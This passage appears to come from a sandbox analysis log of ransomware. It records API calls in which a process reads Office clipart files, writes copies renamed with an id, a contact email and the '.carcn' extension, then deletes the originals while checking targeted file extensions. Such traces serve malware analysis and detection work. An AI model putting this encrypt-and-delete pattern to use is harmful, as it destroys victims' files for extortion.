(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.162] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.162] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0263.162] GetLastError () returned 0x0 [0263.162] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xc9c, lpOverlapped=0x0) returned 1 [0263.176] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xca0, lpOverlapped=0x0) returned 1 [0263.177] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.177] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.177] SetEndOfFile (hFile=0x548) returned 1 [0263.177] CloseHandle (hObject=0x548) returned 1 [0263.178] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.178] SetEndOfFile (hFile=0x528) returned 1 [0263.181] CloseHandle (hObject=0x528) returned 1 [0263.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0263.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.183] lstrlenW (lpString=".doc") returned 4 [0263.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.183] lstrlenW (lpString=".docx") returned 5 [0263.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.183] lstrlenW (lpString=".pdf") returned 4 [0263.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.183] lstrlenW (lpString=".xls") returned 4 [0263.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.183] lstrlenW (lpString=".xlsx") returned 5 [0263.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.183] lstrlenW (lpString=".ppt") returned 4 [0263.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.184] lstrlenW (lpString=".zip") returned 4 [0263.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.184] lstrlenW (lpString=".rar") returned 4 [0263.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.184] lstrlenW (lpString=".bz2") returned 4 [0263.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.184] lstrlenW (lpString=".7z") returned 3 [0263.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.184] lstrlenW (lpString=".dbf") returned 4 [0263.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.184] lstrlenW (lpString=".1cd") returned 4 [0263.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.184] lstrlenW (lpString=".jpg") returned 4 [0263.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.184] lstrlenW (lpString=".doc") returned 4 [0263.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.184] lstrlenW (lpString=".docx") returned 5 [0263.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.185] lstrlenW (lpString=".pdf") returned 4 [0263.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.185] lstrlenW (lpString=".xls") returned 4 [0263.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.185] lstrlenW (lpString=".xlsx") returned 5 [0263.185] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.185] lstrlenW (lpString=".ppt") returned 4 [0263.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.185] lstrlenW (lpString=".zip") returned 4 [0263.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.185] lstrlenW (lpString=".rar") returned 4 [0263.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.185] lstrlenW (lpString=".bz2") returned 4 [0263.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.185] lstrlenW (lpString=".7z") returned 3 [0263.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.185] lstrlenW (lpString=".dbf") returned 4 [0263.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.185] lstrlenW (lpString=".1cd") returned 4 [0263.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0263.185] lstrlenW (lpString=".jpg") returned 4 [0263.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.186] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.186] lstrlenW (lpString="AN04369_.WMF") returned 12 [0263.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.190] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=4808) returned 1 [0263.190] CloseHandle (hObject=0x528) returned 1 [0263.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0263.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.191] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.191] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0263.192] GetLastError () returned 0x0 [0263.192] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0263.260] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0263.261] ReadFile (in: hFile=0x528, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.261] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.261] SetEndOfFile (hFile=0x548) returned 1 [0263.261] CloseHandle (hObject=0x548) returned 1 [0263.264] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.264] SetEndOfFile (hFile=0x528) returned 1 [0263.267] CloseHandle (hObject=0x528) returned 1 [0263.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0263.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.268] lstrlenW (lpString=".doc") returned 4 [0263.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.268] lstrlenW (lpString=".docx") returned 5 [0263.268] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.268] lstrlenW (lpString=".pdf") returned 4 [0263.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.269] lstrlenW (lpString=".xls") returned 4 [0263.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.269] lstrlenW (lpString=".xlsx") returned 5 [0263.269] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.269] lstrlenW (lpString=".ppt") returned 4 [0263.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.269] lstrlenW (lpString=".zip") returned 4 [0263.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.269] lstrlenW (lpString=".rar") returned 4 [0263.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.269] lstrlenW (lpString=".bz2") returned 4 [0263.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.269] lstrlenW (lpString=".7z") returned 3 [0263.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.269] lstrlenW (lpString=".dbf") returned 4 [0263.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.269] lstrlenW (lpString=".1cd") returned 4 [0263.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.269] lstrlenW (lpString=".jpg") returned 4 [0263.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.270] lstrlenW (lpString=".doc") returned 4 [0263.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.270] lstrlenW (lpString=".docx") returned 5 [0263.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.270] lstrlenW (lpString=".pdf") returned 4 [0263.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.270] lstrlenW (lpString=".xls") returned 4 [0263.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.270] lstrlenW (lpString=".xlsx") returned 5 [0263.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.270] lstrlenW (lpString=".ppt") returned 4 [0263.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.270] lstrlenW (lpString=".zip") returned 4 [0263.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.270] lstrlenW (lpString=".rar") returned 4 [0263.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.270] lstrlenW (lpString=".bz2") returned 4 [0263.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.270] lstrlenW (lpString=".7z") returned 3 [0263.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.270] lstrlenW (lpString=".dbf") returned 4 [0263.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.271] lstrlenW (lpString=".1cd") returned 4 [0263.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0263.271] lstrlenW (lpString=".jpg") returned 4 [0263.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.271] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.271] lstrlenW (lpString="AN04385_.WMF") returned 12 [0263.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.766] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=5004) returned 1 [0263.766] CloseHandle (hObject=0x550) returned 1 [0263.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0263.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.767] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.767] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0263.769] GetLastError () returned 0x0 [0263.769] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x138c, lpOverlapped=0x0) returned 1 [0263.803] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1390, lpOverlapped=0x0) returned 1 [0263.806] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.806] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0263.806] SetEndOfFile (hFile=0x540) returned 1 [0263.806] CloseHandle (hObject=0x540) returned 1 [0263.831] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.831] SetEndOfFile (hFile=0x550) returned 1 [0263.858] CloseHandle (hObject=0x550) returned 1 [0263.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0263.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.859] lstrlenW (lpString=".doc") returned 4 [0263.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.859] lstrlenW (lpString=".docx") returned 5 [0263.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.859] lstrlenW (lpString=".pdf") returned 4 [0263.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.860] lstrlenW (lpString=".xls") returned 4 [0263.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.860] lstrlenW (lpString=".xlsx") returned 5 [0263.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.860] lstrlenW (lpString=".ppt") returned 4 [0263.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.860] lstrlenW (lpString=".zip") returned 4 [0263.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.860] lstrlenW (lpString=".rar") returned 4 [0263.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.860] lstrlenW (lpString=".bz2") returned 4 [0263.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.860] lstrlenW (lpString=".7z") returned 3 [0263.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.860] lstrlenW (lpString=".dbf") returned 4 [0263.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.860] lstrlenW (lpString=".1cd") returned 4 [0263.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.860] lstrlenW (lpString=".jpg") returned 4 [0263.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.861] lstrlenW (lpString=".doc") returned 4 [0263.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.861] lstrlenW (lpString=".docx") returned 5 [0263.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.861] lstrlenW (lpString=".pdf") returned 4 [0263.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.861] lstrlenW (lpString=".xls") returned 4 [0263.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.861] lstrlenW (lpString=".xlsx") returned 5 [0263.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.861] lstrlenW (lpString=".ppt") returned 4 [0263.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.861] lstrlenW (lpString=".zip") returned 4 [0263.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.861] lstrlenW (lpString=".rar") returned 4 [0263.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.861] lstrlenW (lpString=".bz2") returned 4 [0263.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.861] lstrlenW (lpString=".7z") returned 3 [0263.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.861] lstrlenW (lpString=".dbf") returned 4 [0263.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.861] lstrlenW (lpString=".1cd") returned 4 [0263.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0263.862] lstrlenW (lpString=".jpg") returned 4 [0263.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.862] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.862] lstrlenW (lpString="BD07804_.WMF") returned 12 [0263.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.863] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=4924) returned 1 [0263.863] CloseHandle (hObject=0x550) returned 1 [0263.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0263.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0263.864] SetFilePointerEx (in: hFile=0x550, 